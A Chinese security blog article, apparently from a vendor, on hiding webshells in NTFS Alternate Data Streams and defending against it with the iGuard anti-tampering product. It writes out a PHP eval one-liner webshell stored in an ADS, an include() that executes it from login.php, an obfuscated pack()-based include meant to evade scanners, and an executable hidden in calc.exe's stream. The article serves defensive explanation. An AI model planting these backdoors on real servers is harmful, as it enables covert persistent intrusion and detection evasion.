权限维持是一门庞大的学问,当攻击者在入侵服务器获得主机权限后,往往会想尽办法隐藏其入侵途径以维持权限。权限维持的一般手段包括构造文件包含漏洞、构造远程任意代码执行漏洞、构造SQL注入点、利用系统自启动后门和隐藏 Webshell等。本文介绍如何利用ADS数据流隐藏Webshell,以及如何利用iGuard防御ADS。

一、NTFS文件系统 & ADS特性

1. NTFS/ADS 是什么?

NTFS(New Technology File System) 是微软公司开发的文件系统。自Windows NT 3.1开始,NTFS就是Windows NT系列操作系统的默认文件格式。Linux和BSD环境下也有免费和开源版的NTFS驱动——NTFS-3G。和老的FAT文件系统相比,其提供了对元数据(metadata)和高级数据的更多支持,在性能、可靠性和磁盘使用上也多有改进。在安全扩展方面,它对ACL名单和文件系统日志扩展支持也更全面。

NTFS引入了一个文件流的概念,即 ADS(Alternate Data Stream) 。尽管在未来的文件系统中可能不被支持,但在Windows NT系列未来版本的NTFS系统中,ADS将会继续得到支持。该机制最常见的使用场景是当微软Internet Explorer浏览器在下载一些对安全有隐患的敏感文件时,会自动给这些文件加上一个「Zone.Identifier」的ADS流,在里面记录该文件的下载来源。后续在系统执行这些文件时,如果发现有这个「Zone.Identifier」ADS流标记,就会询问用户,这是一个有安全隐患的文件,是否确认要执行。用户确认后,操作系统会彻底清除该文件的「Zone.Identifier」ADS流,后续不再出现警告提示。后来,其他浏览器也跟进了该特性。如下截图里,就显示了一个下载文件的ADS流标记,可以看出其下载来源:

而默认使用Windows资源管理器浏览文件时,并不会显示文件的ADS流信息和大小。使用某些命令行工具或Powershell,配合特定的参数,能看到相关的信息(详见下文)。微软的Sysinternal工具套装里,提供了一款名为"Streams"的工具,专门用于查看和删除 ADS 流信息。

下载地址

https://docs.microsoft.com/zh-cn/sysinternals/downloads/streams

由于ADS流具有这种比较隐晦的特性,恶意软件和网页木马便盯上这一机制,并用这个机制隐藏恶意代码,逃避检测。

2. ADS 怎么用?

Windows NT Resource Kit文档中描述的ADS语法如下:

filename:stream

可以把ADS流理解为文件的一个额外属性,这个属性的名称就是上述定义里冒号后stream的部分,该名称可以自由选择。同时,一个文件可以对应多个不同名的ADS流属性,只要冒号后面的名称不一样。不同名称的ADS流拥有自己独立的内容。

如向一个网页文件(index.php)写入名为「th000.jpg」的ADS流(写入的内容实际上是PHP一句话木马):

echo ^<?php eval($_GET['test']); ?^> >index.php:th000.jpg

more 命令行查看index.php文件的「th000.jpg」ADS流(小提示:用 type 命令无法查看ADS流):

// 查看隐藏文件内容
more < index.php:th000.jpg

以上两条命令的执行结果见截图:

也可以用记事本程序,像打开普通文件一样,输入完整 filename:stream 路径,查看具体内容:

notepad index.php:th000.jpg

甚至,我们可以向一个目录设置额外的ADS流属性。如执行以下命令,可对当前目录添加一个名为「hidden.txt」的ADS流。

echo test> :hidden.txt

dir/R 参数,除了普通文件,也会列出文件的ADS流。如下 dir/R 命令的执行结果能看出来,部分文件如「nginx.conf」有不止一个ADS流:

二、如何利用ADS特性隐藏恶意文件

在利用ADS流隐藏恶意文件上,比较常见的两个方向是针对二进制文件和网页文件。

如对二进制文件,可以把一个可执行文件的内容,附加到另一个可执行文件上,执行时则以ADS引用的方式执行,获得隐藏文件的执行权限。如以下示例:

C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe
C:\> start c:\windows\system32\calc.exe:notepad.exe

在Web方面,早期的IIS有利用ADS属性,获得asp源代码的漏洞。但这个漏洞比较古早,现在不太常见。另一种方式是,把网页木马的内容,附加到一个正常网页的ADS属性里,如:

type webshell.php > index.php:th000.jpg

然后在另一个常规的php文件里,如 login.php 里加入如下代码,把上述的ADS内容包含到常规php页面内,利用php include() getshell:

<!--
当前网页是`login.php`,在服务端没有深度 Webshell查杀工具时可以直接包含ADS内容:
-->
<?php
include('index.php:th000.jpg');
?>

这样在访问http://域名/login.php时,实际上潜藏在 index.php:th000.jpg 里的网页木马就获得了执行。

当然,这个方式也略有缺陷,如果网站上有深度Webshell查杀工具,有可能被发现。这时候可以把附加到ADS部分的代码写得更有迷惑性,以绕过检测,举例如下:

<!--
利用pack()函数隐藏文件名
可绕过部分检测工具
-->
<?php
$token = "3a74683030" . "302e6a7067";
$index = pack('C*' ,105 ,110 ,100 ,101 ,120 ,46 ,112 ,104 ,112);
$usr_id = $index . pack('H*' ,$token);
$welcome_page = 'usr_id';
include($$welcome_page);
?>

三、防御ADS数据流隐藏Webshell的手法

无论攻击者如何利用ADS隐藏shell,最终都离不开写入数据这一过程,利用网页防篡改系统可以有效地针对这一攻击手法。网页防篡改软件是用于保护服务器关键文件不受黑客篡改(阻止或自动恢复)的一种软件。使用iGuard网页防篡改系统,可以有效地阻止黑客使用ADS数据流隐藏Webshell。

这里以nginx+php为示例,想要阻止ADS写入数据其实很简单,正常使用iGuard中的iLocker模块保护文件目录即可。

  1. 命令行执行 start nginx 启动服务器
  2. 命令行执行 tasklist/v|findstr nginx

    (可观察到此时nginx的启动用户为Administrator,这并不是一个安全的启动方式。)
   nginx.exe 3692 Console 1 4,836 K Unknown  WIN-JMACK3FAL1V\Administrator     0:00:00 暂缺
nginx.exe 1108 Console 1 5,088 K Unknown WIN-JMACK3FAL1V\Administrator 0:00:00 暂缺
  1. 控制面板新建非管理员用户nginx后,尝试使用用户 nginx 启动nginx服务。
   //runas 是windows系统自带能以其他用户执行程序的命令
//runas [option] /user:domain\username program
runas /noprofile /user:WIN-JMACK3FAL1V\nginx cmd cd dir/nginx_dir start nginx tasklist /v |findstr nginx

此时可观察到nginx进程以用户 nginx 启动:

  1. 使用iLocker模块限制用户 nginx 的行为,由于使用的是一个特殊的账户,甚至可以限制该账户对全盘文件的修改权限,但须注意保留相关日志的写入权限。

  1. 此时用户 nginx 无法通过ADS数据流将数据写入受保护的目录。

(席文 | 天存信息)

Ref

  1. NTFS
  2. How To Use NTFS Alternate Data Streams

运用iGuard防御ADS权限维持的更多相关文章

  1. 披着羊皮的Neo-reGeorg

    混迹 Web 安全行业许久,查杀网站后门已是家常便饭.时间久了,养"马"场也见的多了,Neo-reGeorg 算得上是同类中战斗力超群的"野马"了,也深受黑客和 ...

  2. 我的WafBypass之道

    0x00 前言  去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也 ...

  3. SQL Server安全性专题一:简介

    原文:SQL Server安全性专题一:简介 一. 安全威胁与法则 1. 安全定义 2. 安全威胁 3. 安全法则 安全定义: 在SQLServer环境中,安全性可以认为是[数据保护].包括:  数 ...

  4. Microsoft Dynamics CRM 2011 当您在 大型数据集上执行 RetrieveMultiple 查询很慢的解决方法

    症状 当您在 Microsoft Dynamics CRM 2011 年大型数据集上执行 RetrieveMultiple 查询时,您会比较慢. 原因 发生此问题是因为大型数据集缓存 Retrieve ...

  5. 我的WafBypass之道(SQL注入篇)

    原帖地址:https://xianzhi.aliyun.com/forum/read/349.html 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题 ...

  6. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

  7. 【web端权限维持】利用ADS隐藏webshell

    0X01 前言 未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法. 0X02 利用ADS隐藏web ...

  8. 探索ASP.NET MVC5系列之~~~4.模型篇---包含模型常用特性和过度提交防御

    其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...

  9. LDAP注入与防御解析

    [目录] 0x1 LDAP介绍 0x2 LDAP注入攻击及防御 0x3 参考资料 0x1 LDAP介绍 1 LDAP出现的背景 LDAP(Lightweight Directory Access Pr ...

随机推荐

  1. 对c语言回调函数的理解

    对于回调函数,可以简单的理解为一种特别的函数调用方法,我们可以对比一下回调函数与普通函数在调用方法上的区别. 1. 普通函数调用 一般为实现方在其函数体执行过程中直接调用. 代码示例: #includ ...

  2. Python第三章-字符串

    第三章  字符串 3.1 基本字符串操作 Python的字符串和元组差不多,是不可以进行改变的,如果想改变值,可以尝试list序列化之后在进行修改. {    website = 'http://ww ...

  3. POJ2195费用流+BFS建图

    题意:       给你一个n*m的地图,上面有w个人,和w个房子,每个人都要进房子,每个房子只能进一个人,问所有人都进房子的路径总和最少是多少? 思路:       比较简单的最大流,直接建立两排, ...

  4. 解决在Vim中鼠标右键不能粘贴问题

    最近维护一台服务器,使用putty登录后,用vim时,鼠标右键不能 粘贴而是进入了visual模式.网上查找一番找到了解决方法: 方 法一:在普通模式下键入" :set mouse-=a&q ...

  5. 【python】Leetcode每日一题-颠倒二进制位

    [python]Leetcode每日一题-颠倒二进制位 [题目描述] 颠倒给定的 32 位无符号整数的二进制位. 示例1: 输入: 00000010100101000001111010011100 输 ...

  6. redis中keys命令带来的线上性能问题

    起因 下午接到运维反馈,生产redis有个执行keys的命令请求太慢了,要两三秒才能响应 涉及命令如下: KEYS ttl_600::findHeadFootData-15349232-*-head ...

  7. 2.HTML案例二 头条页面

    4 HTML案例-头条页面 4.1 案例效果 4.2 案例分析 4.2.1 div布局的进阶 想要将div布局成案例效果,首先需要对多个div进行区分,再分别设置每一个div自身的效果. 1)div的 ...

  8. 通过Dapr实现一个简单的基于.net的微服务电商系统(十二)——istio+dapr构建多运行时服务网格

    多运行时是一个非常新的概念.在 2020 年,Bilgin Ibryam 提出了 Multi-Runtime(多运行时)的理念,对基于 Sidecar 模式的各种产品形态进行了实践总结和理论升华.那到 ...

  9. [java] 转型

    A为父类,子类B.C 第20行发生向上转型,a对象调用C覆写过的print()方法 若为A a = new B(); 则调用B覆写过的print()方法 创建对象时使用向上转型,能够统一参数类型(23 ...

  10. CentOS 7 调整home大小

    把/home内容备份,然后将/home文件系统所在的逻辑卷删除,扩大/root文件系统,新建/home: tar cvf /tmp/home.tar /home #备份/home umount /ho ...